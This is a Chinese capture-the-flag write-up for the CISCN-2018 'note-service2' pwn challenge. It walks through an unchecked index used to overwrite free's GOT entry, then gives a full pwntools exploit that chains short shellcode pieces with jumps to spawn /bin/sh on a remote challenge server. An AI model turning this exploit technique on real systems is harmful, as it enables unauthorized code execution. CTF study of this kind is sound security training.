CISCN-2018-Quals note-service2

这几天看 wiki 有点头疼 刷会 攻防世界

(那个echo_back 真的头疼 那个 文件结构 不知道是怎么搞出来的)

哪一行代码也不是很清楚是怎么做的 于是就直接跳过那个题目了

note-service2   这个题用ida 分析的时候 看见 show 不能用 笑容 逐渐 凝固  看见edit 不能用的时候 直接关闭了ida

 

然后发现保护如下

shellcode 一把梭鸭

 问题在于怎么让函数执行shellcode 

这里有一个 溢出点

没有检查下标 我们可以直接 把他 拿到 free的got 里面

然后执行短跳转   直接拿到权限

(本来想自己搞参数的 可是发现有一行 长度超过了 直接  自己/bin/sh)

#coding:utf-8
from pwn import *
context.update(arch = 'amd64')
debug = 1
local =0
if local:
	io=process("./note_service2")
else:
	io=remote("111.198.29.45",44322)
if debug:
	context.log_level = 'debug'

elf = ELF('./note_service2')
#libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")

heap_addr=0x2020A0
got_index=(elf.got['free']-heap_addr)/8

def add(index,content):
	io.recvuntil('your choice>> ')
	io.sendline("1")
	io.recvuntil("index:")
	io.sendline(str(index))
	io.recvuntil("size:")
	io.sendline('8')
	io.recvuntil("content:")
	io.sendline(content)

def dele(index):
	io.recvuntil('your choice>> ')
	io.sendline("4")
	io.recvuntil("index:")
	io.sendline(str(index))

# shellcode 

#xor rdx, rdx
#mov rbx, 0x68732f6e69622f2f
#shr rbx, 0x8
#push rbx
#mov rdi, rsp
#push rax
#jmp
#push rdi
#mov rsi, rsp
#mov al, 0x3b
#syscall

if __name__=="__main__":
	#add(0,"/bin/sh")
	'''add(got_index,asm('xor rdx, rdx')+'\xeb\x16')
	add(1,asm('mov rbx, 0x68732f6e69622f2f')+'\xeb\x16')
	#print hex(len(asm('mov rbx, 0x68732f6e69622f2f')+'\xeb\x16'))
	#len=0xc
	add(2,asm('shr rbx, 0x8')+'\xeb\x16')
	add(3,asm('mov rdi, rsp')+'\xeb\x16')
	add(4,asm('push rax')+'\xeb\x16')
	add(5,asm('push rdi')+'\xeb\x16')
	add(6,asm('mov rsi, rsp')+'\xeb\x16')
	add(7,asm('mov al, 0x3b')+'\xeb\x16')
	add(8,asm('syscall'))'''
	add(0,'/bin/sh')
	add(got_index,asm('xor rsi,rsi')+'\x90\x90\xeb\x19')
	add(1,asm('push 0x3b\n pop rax')+'\x90\x90\xeb\x19')
	add(2,asm('xor rdx,rdx')+'\x90\x90\xeb\x19')
	#gdb.attach(io)
	add(3,asm('syscall')+'\x90'*5)
	dele(0)
	io.interactive()
	io.close()

e9 加16 eb 加 19

成功拿到权限

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值